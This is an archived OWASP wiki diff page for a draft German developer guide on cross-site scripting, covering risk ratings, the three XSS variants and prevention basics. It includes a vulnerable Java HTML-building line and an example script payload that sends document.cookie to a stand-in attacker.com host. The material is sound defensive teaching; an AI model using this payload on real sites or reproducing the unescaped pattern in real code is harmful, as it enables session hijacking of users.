This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org
Difference between revisions of "Germany/Projekte/Top 10 fuer Entwickler-2013/A3-Cross-Site Scripting (XSS)"
Line 25: | Line 25: | ||
{{Top_10_2010:ExampleBeginTemplate}} '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'{{Top_10_2010:ExampleEndTemplate}}. <!--- ''' ... ''' ---> | {{Top_10_2010:ExampleBeginTemplate}} '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'{{Top_10_2010:ExampleEndTemplate}}. <!--- ''' ... ''' ---> | ||
Dadurch wird die Session-ID des Benutzers an die Seite des Angreifers gesendet, so dass der Angreifer die aktuelle Benutzersession übernehmen kann. Beachten Sie bitte, dass Angreifer XSS auch nutzen können, um jegliche CSRF-Abwehr der Anwendung zu umgehen. A5 enthält weitere [[Top_10_2010-A5 | Informationen zu CSRF]]. | Dadurch wird die Session-ID des Benutzers an die Seite des Angreifers gesendet, so dass der Angreifer die aktuelle Benutzersession übernehmen kann. Beachten Sie bitte, dass Angreifer XSS auch nutzen können, um jegliche CSRF-Abwehr der Anwendung zu umgehen. A5 enthält weitere [[Top_10_2010-A5 | Informationen zu CSRF]]. | ||
+ | Grundsätzlich wird zwischen 3 Varianten für XSS unterschieden: | ||
+ | # '''Reflektiert bzw. nicht persistent:''' DIe Benutzereingabe wird direkt von der Webanwendung zum Benutzer zurück gesendet. Enthält die Eingabe schädlichen Skriptcode, wird dieser im Browser des Benutzers ausgeführt. | ||
+ | # '''beständig bzw. persistent''': schädlicher Skriptcode wird zunächst in der Webanwendung gespeichert und erst später bei Anfragen ausgeliefert. | ||
+ | # '''DOM-basiert oder lokal''': Schadcode wird direkt an ein client-seitiges Skript übergeben. Die Webanwendung ist überhaupt nicht beteiligt. | ||
{{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|number=2|risk=2}} | {{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|number=2|risk=2}} | ||
Line 49: | Line 53: | ||
{{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|number=6|risk=2}} | {{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|number=6|risk=2}} | ||
− | ====XSS==== | + | ====Reflektiertes und Persistentes XSS==== |
+ | (ganze Breite) | ||
+ | |||
+ | {{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|number=7|risk=2}} | ||
+ | ====DOM-basiertes oder lokales XSS==== | ||
(ganze Breite) | (ganze Breite) | ||
Revision as of 18:25, 6 February 2013
← Top_10_fuer_Entwickler/A1_Injection | Top_10_fuer_Entwickler/A3_Fehler_in_Authentifizierung_und_Session-Management → |
Testseite in Bearbeitung (BAUSTELLE!!)
die Überschriften kommen z.T noch von den Templates der englischen Top 10, Tbd!!
A2 Cross-Site Scripting (XSS)
______ | Ausnutzbarkeit DURCHSCHNITTLICH |
Verbreitung AUSSERGEWÖHNLICH HÄUFIG |
Auffindbarkeit EINFACH |
Auiswirkung MITTEL |
Application / Business Specific |
Jeder, der Daten, die nicht ausreichend geprüft werden, an das System übermitteln kann: externe und interne Nutzer sowie Administratoren. | Der Angreifer sen-det textbasierte Angriffsskripte, die Eigenschaften des Browsers aus-nutzen. Fast jede Datenquelle kann einen Angriffsvektor beinhalten, auch interne Quellen wie Datenbanken. | XSS ist die am weitesten verbreitete Schwachstelle in Webanwendungen. XSS-Schwachstellen treten dann auf, wenn die Anwendung vom Benutzer eingegebene Daten übernimmt, ohne sie hinreichend zu validieren und Metazeichen als Text zu kodieren. Es gibt drei Typen von XSS-Schwachstellen: 1) Persistent, 2) nicht-persistent/reflektiert, und 3) DOM-basiert (lokal). Die meisten XSS-Schwachstellen sind verhältnismäßig einfach mit Hilfe von Tests oder Code-Analyse zu erkennen. | Angreifer können Skripte im Browser des Opfers ausführen und die Session übernehmen, Webseiten defacen, falsche In-halte einfügen, Benutzer umleiten, den Browser des Benutzers durch Malware übernehmen, etc. | Berücksichtigen Sie den geschäftlichen Nutzen des betrof-fenen Systems und der verarbeiteten Daten. Bedenken Sie ebenfalls die Auswirkung auf das Unternehmen bei Bekanntwerden der Schwachstelle. |
Am I Vulnerable To 'Cross-Site Scripting (XSS)'?
Die Anwendung übernimmt nicht vertrauenswürdige Daten, die nicht auf Gültigkeit geprüft oder escaped werden, um folgenden HTML-Code zu generieren: (String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'>";
Der Angreifer ändert den Parameter ‘CC’ in seinem Browser auf: '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>' .
Dadurch wird die Session-ID des Benutzers an die Seite des Angreifers gesendet, so dass der Angreifer die aktuelle Benutzersession übernehmen kann. Beachten Sie bitte, dass Angreifer XSS auch nutzen können, um jegliche CSRF-Abwehr der Anwendung zu umgehen. A5 enthält weitere Informationen zu CSRF. Grundsätzlich wird zwischen 3 Varianten für XSS unterschieden:
|
How Do I Prevent 'Cross-Site Scripting (XSS)'?
Um XSS zu verhindern, müssen nicht vertrauenswürdige Daten von aktiven Browserinhalten getrennt werden.
|
JAVA | |
Example Attack Scenarios
XSStbd |
References
XSStbd style="vertical-align: top; padding:5px; width: 50%; border: 3px solid
background-color:
Reflektiertes und Persistentes XSS(ganze Breite) style="vertical-align: top; padding:5px; width: 50%; border: 3px solid
background-color:
DOM-basiertes oder lokales XSS(ganze Breite) style="vertical-align: top; padding:5px; width: 50%; border: 3px solid
background-color:
|
← Top_10_fuer_Entwickler/A1_Injection | Top_10_fuer_Entwickler/A3_Fehler_in_Authentifizierung_und_Session-Management → |